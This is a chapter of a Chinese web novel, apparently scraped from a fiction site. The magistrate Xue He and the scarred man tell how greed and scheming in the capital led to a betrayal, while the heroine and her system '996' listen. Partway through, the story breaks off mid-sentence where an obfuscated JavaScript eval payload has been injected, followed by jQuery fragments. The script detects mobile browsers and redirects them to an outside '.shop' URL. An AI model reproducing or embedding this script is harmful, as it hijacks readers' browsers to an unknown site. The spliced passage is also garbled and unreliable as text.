文趣网 > 其他小说 > 事已至此,先上班吧 > 15. 山中对峙(2)
    哦,看样子有情况啊。

    霜筠眨巴着眼睛,瞬间来了兴致。

    又从空间掏出一堆桌椅板凳,摆上瓜果,然后挪动小板凳来到了薛何身边。

    问八卦的意味不要太明显。

    996懵了【宿主,你不怕人家把你当妖怪吗?】

    凭空变出来这么多东西。

    霜筠蛮不在意地摆手:“没事啦,他们也没把我当正常人,而且,时不时露一手,他们要使坏也得掂量掂量。”

    还是吃瓜重要。

    陈顾看准时机,拎着那堆小板凳跟在后面一起坐下,手明目张胆地从桌子上拿过水果。

    一看,霜老板没反应。

    于是乎,一群人把萍水县那群人绑好之后哗啦啦坐下,听八卦。

    薛何注意到这些细节,只是低头垂眸,望着倒地不起的刀疤脸,将曾经的故事缓缓说出。

    在薛何来到清水县的第一年,那时候他意气风发,身上的少年意气还没有被社会戳灭,依旧觉得世间事情都是可以完成的。

    少年一腔热血,相信人定胜天。

    即使在遇到不公的时候,也不是一味地认输,反而是去寻求帮助。

    薛何立刻想起还在京城的爹娘家人,在取得薛夫人的同意后,带着当时的刀疤脸前往京城。

    他觉得他拒绝公主和清水县百姓受的苦不是一桩事情,不能混为一谈。

    自己寄出去的信件估计是被某一位敌对者拦下来了。

    当时的刀疤脸也是一身腱子肉,主动提出要做保镖护卫,到时候要是公主硬嫁的话,他也可以出一份力。

    二人信誓旦旦地出发。

    一路上顺利地不行,也让薛何萌生出真的有可能给清水县百姓带来好日子的想法,他甚至已经规划好了未来的蓝图,幻想着和薛夫人的美好生活。

    他不求功名利禄,只愿天下太平百姓和乐,以及得一人心即可。

    刀疤脸也是如此。

    刚跨进京城,迎面便是薛何的岳父家,一众人言笑晏晏,领着二人一起回了府邸。

    他小舅子最是热情,领着刀疤脸就出去玩。

    由于小舅子一直都是这样的,薛何也没有放在心上,只是叮嘱不要乱跑,按时回家,事情办好之后就要回到清水县。

    小舅子一口答应。

    薛何便去找岳父讲述他在清水县遇到的困难,顺便提出他自己见解和提议,岳父也跟着附和,还时不时提出不一样的解决办法。

    接下来的日子里,薛何等着岳父带来陛下的答案,而刀疤脸一日回得比一日晚。

    问也不说具体是什么情况。

    对上小舅子嘻嘻哈哈的脸色,薛何也不好多说,只是私底下提醒刀疤脸不要忘记来的任务,话里话外有意无意提及二人的家世不同,不要去触碰那些不该碰的东西。

    刀疤脸也是胡乱应下。

    那时候的薛何没有多余心力留心刀疤脸的情况,他满心满意都是自己的策略谋划,想着岳父感觉解决完,他要回到清水县去找媳妇和女儿。

    事情真正爆发是在那位公主生辰,满座宾客盈门,而薛何也受邀在列。

    赴宴之前他还特地问过岳父的意见,确认不是鸿门宴后才敢前往。

    不料想,宴会上,昔日与他不对付的公子哥带着受重伤的刀疤脸前来庆贺公主生辰。

    生辰当日见血固然不详,但是那位公子哥说,刀疤脸将薛何输给了他,其中还有若干证人包括薛何的小舅子,还有春香花月楼的花魁牡丹姑娘,刀疤脸居然还给那位花魁赎身。

    薛何读书万卷,自然不是傻子,只是他从未用这种肮脏的心思去揣度这些亲人,尤其是把他夫人当作掌上明珠的家人们。

    可面前一幕何其可笑、可悲、可哀。

    他失态地站起想要质问,可满腹话语不知道该去质问谁?

    金碧辉煌的宴会之上,红绸舞动,觥筹交错,推杯换盏间,他不知道自己此刻存在的意义。

    “然后呢?”霜筠一声提醒拉回来薛何的深思,她凑近问:“然后你们是怎么回来的?”

    又看向地上一直沉默的刀疤脸,顺脚就踢过去:“这个刀疤脸是怎么脱身的?他脸上的伤不会就是那个时候受的吧?”

    这个猜测是正确的,在场很多人可以给出答案,他们确实知道这件事情。

    那一年的刀疤脸虽然混蛋,可为人处事还是可以的,面容也并非如今可怖。

    刀疤脸吹开地上的灰尘:“从京城那些贵人手里逃回来,总得丢一些肉吧?”

    他笑得阴测测的,思绪被拉回第一次踏足皇城地界那天。

    他自小就是在清水县长大的,可以说,薛何一家三口是他见过最好看也是最体面的人了。

    尤其是薛月,他家也有和薛月差不多大的娃娃,可是他家的娃娃就不如薛月长得可爱,长得软软糯糯,粉雕玉琢,见人也不怕生,甜甜地挨家挨户喊哥哥姐姐、叔叔婶婶、爷爷奶奶。

    那模样就像是话本子里的小仙童般。

    当他得知薛何要进京城去找人帮忙的时候,他内心就有冲动,想要跟着去看看那外面的世界,所以他花钱打通关系,更是凭借实力成了那个保镖,去之前当着列祖列宗发誓,他一定会护薛县令安全无虞。

    可是越朝京城走,他越被京城的样貌震惊到。

    怎么能有地方有这么平坦的路段?

    怎么能有人住这么好的房子?里面还分了好几个房间,不是像他们家一样,好几口人挤在一块?

    怎么能有这么好吃的食物?

    怎么能有那么好看的衣裳?那布料,自己那双布满老茧的手根本不敢碰,生怕把人家布料勾丝了,他赔不起。

    最震惊的还是那物价,短短一个糖水铺,就花了他家一年的收成,还是最丰收的一年。

    他想要询问薛何,想要从他那边得到附和,得到一丝慰藉。

    可是他观察过,薛何的脸色淡然,对这些离谱且足以震惊他全家的事情没有丝毫差异,仿佛本该就是这样的。

    他想确实。薛县令要不是惹了权贵,也不会到他家那鸟不拉屎的地方。

    望着薛何游刃有余的背影,他恶劣地想着,若是薛何这次事情没有办成,只能回去和他们一样啃树皮,吃菜叶子的时候,薛何还会是这样的淡定吗?

    这个念头很快便被压下。

    他们这一趟过来可是要让清水县好起来的。

    很快就见到了薛县令的岳父,也就是生出薛夫人那种温柔似水的女子的人。

    他就那么站在那里,一身官服虎虎生风,直接划开两种阶级,让他不敢靠近。

    他们家的小公子看破了他的窘况,拉着他出去玩,他见薛县令没有横加阻碍,便顺从内心跟着跑出去玩。

    不得不说,京城好玩的好吃的还是太多了,就连人都比清水县的好看。

    小公子先是带他去换了一身衣服,浮光锦做的衣裳就是舒服,他这辈子就没有穿过更好的,他说没钱,小公子大手一挥,说,姐夫的朋友就是他的朋友,小公子替他付了。

    随后又是游船,酒楼,茶楼,各种各样的地方都带着他去。

    那个恶劣的想法又出现了,要是薛县令没有完成任务就好了,把薛县令扣在京城,他就可以一直跟着吃香的喝辣的,好爽。

    日子一天天过去,刀疤脸已经忘记了先前家人还有薛何原先的叮嘱,每日睡前都是在憧憬明日小公子会带他去哪?

    他这辈子见到的还没有这几天多。

    直到,他在一座充满芳香的楼中看见了一位红衣妖娆的女子,身段莹莹,就像是九天仙女下凡尘。

    周遭宾客喝彩,女子跳得更欢了,本就稀少的布料更加不够看了,然后便有一位脂粉极厚的大娘上去,喊什么起拍价。

    他疑惑地看向小公子询问情况,小公子神秘兮兮地解释,那是拍卖姑娘初夜,价高者得。

    刀疤脸不是未经人事的,这几日跟着小公子也见识了不少,如今看着那窈窕身段更是心动,居然学着那些富家人起了救风尘的心思。

    小公子自然是鼎力相助。

    后面的事情刀疤脸不清楚,有些记不清,只是记得一股醉人的香气袭来,他从未有过那般感受,像是身处天堂。

    都说天堂和地狱也是一念之间。

    再醒来就看见原本和善的小公子拿着一堆账单,身后跟着许多膘肥体壮的保镖要他还钱,不然就去官府衙门告他。

    他不懂究竟是什么情况,喊着要薛何出面,喊着不是他消费的。

    可是小公子一桩桩一件件列出来,都是他之前长见识的东西,包括昨夜的风流债。

    那天价数字让刀疤脸害怕,他无助地恳求小公子,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920687|213452||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    诉说家里的苦和难,但是每人应。

    眼看小公子把他当屁放,刀疤脸恶从胆边生,抓起附近侍卫的刀,无章法地乱砍,冲出包围圈,跑到了一处小巷子。

    他浑身都是血液,很害怕,更加不敢回薛何身边。

    拐角处,他遇到了一位衣着华丽的女子,也是带着香气,和楼里那位花魁不同,这位女子的香气没有那么冲。

    他刚要跑,身后就传来女子的声音,女子说她可以救他,前提是他要把清水县的一切都说了,尤其是薛何的情况。

    到这个地步,刀疤脸也猜出这位女子的身份,是曾经纠缠薛何的公主殿下。

    说实话,刀疤脸有些怨怼,他不认为事情会那么巧,他慌不择路之下转角遇到恩人,所以这一切都是这位公主为了薛何策划好的。

    那个被摁灭的念头再度复生。

    刀疤脸瞬间就把薛何的计划说,全部说了,包括薛何在清水县的生活,事无巨细。

    要求是,他也要跟着薛何留在京城,他是一点都不想回清水县那个破地方了。

    他和京城的人没有什么区别,只是他们会投胎而已。

    若他是京城人,一定不比京城这些酒囊饭袋差。

    就这样,他卖了薛何的一点消息,又借着刚刚受到惊吓,有些事情回忆不起来的借口住进了公主府,妄图想要直接在公主府落地生根。

    他调戏公主府的丫鬟,揩油,最严重的一次,差点毁了国公府的小姐,,为了活命,他把薛何最后的杀手锏说了,表示愿意当证人作伪证,证明清水县一点都不苦,是薛何想要的太多。

    公主拿捏着这一点,先一步面见皇帝,那是刀疤脸第一次面见天颜,帝王威亚之下,吓得什么话都说不出来。

    可不说话就是最好的回答,皇帝本就对薛何有怨气,他金尊玉贵的女儿,怎么还配不上薛何,索性将事情全权交给公主,才有了公主府开宴宴请薛何一事。

    “你们还是没有说是怎么跑出来的?”霜筠捧着一个大瓜不上不下,谁要他们回忆往昔了?

    996跟着附和【就是就是。】

    薛何苦笑:“霜老板知道父母之爱子下一句是什么吗?”

    霜筠也是上过九年义务教育的,脱口而出:“则为之计深远。”

    “是啊,”薛何抚摸着薛月的发髻:“我岳父大人知道一切,却眼睁睁地看着所有事情发生,他想要让我看清事情真相,想要我放弃,更想要我夫人知道。”

    “但是他有一点不希望,不希望他女儿和外孙女没有依靠,就算我是草包,也该承担起该承担的责任。”

    霜筠张了张嘴,不知道该说什么,随后指了指地上的人:“那他这个刀疤呢?”

    按照霜筠的设想,应该是在京城留下的,比如浪子回头或者护主这种的。

    陈益倒是出声了:“霜老板,这个不是在京城出事的,是在他们李家祠堂中,他那瞎眼的母亲做的,据说是对着心口去的。”

    再偏僻的地方也有它的文化传承,李家祖上也是富贵过的。

    霜筠扫了眼那狭长的一刀疤,再次无言,她以为是勋章,结果是警告,是烙印。

    事情到了这一步,刀疤脸也是泪涕横流,他喊着:“薛何,都是你的错,要不是你没有告诉我要收心,没有提前和我说,更没有时时刻刻关心我,一心只有你的清水县改善大计,我怎么会误入歧途,都是你的错,你这种人合该在清水县烂到死!!!”

    他喊得很大声。

    却被一阵灰尘呛到,是薛月,她气势汹汹:“你都这么大了,做事情难道不会从自己身上找原因吗?”

    “京城那边是第一次这样富贵迷人眼吗?还是说你自己受不住诱惑,哄骗自己用我爹爹找借口一心贪恋荣华富贵?”

    “我爹都没有空一直管我,不然我还会被你抓了两次?”

    “明明是你自己想要留在京城,当初祖父那边也是一样,是你要留在京城才造成后面的结果。”

    “京城到底有谁在啊?”

    霜筠表情一愣,一脸懵逼询问996:“这话她到底跟谁学的?”也太早熟了吧。

    996点开历史记录【哦,就是那天火锅还有之前闲的时候,薛县令忙得很,就把小孩放在楼里,我不是看你们也忙,就随便放了什么卖货直播啊,什么玫瑰之类的故事,我是不是很体贴?】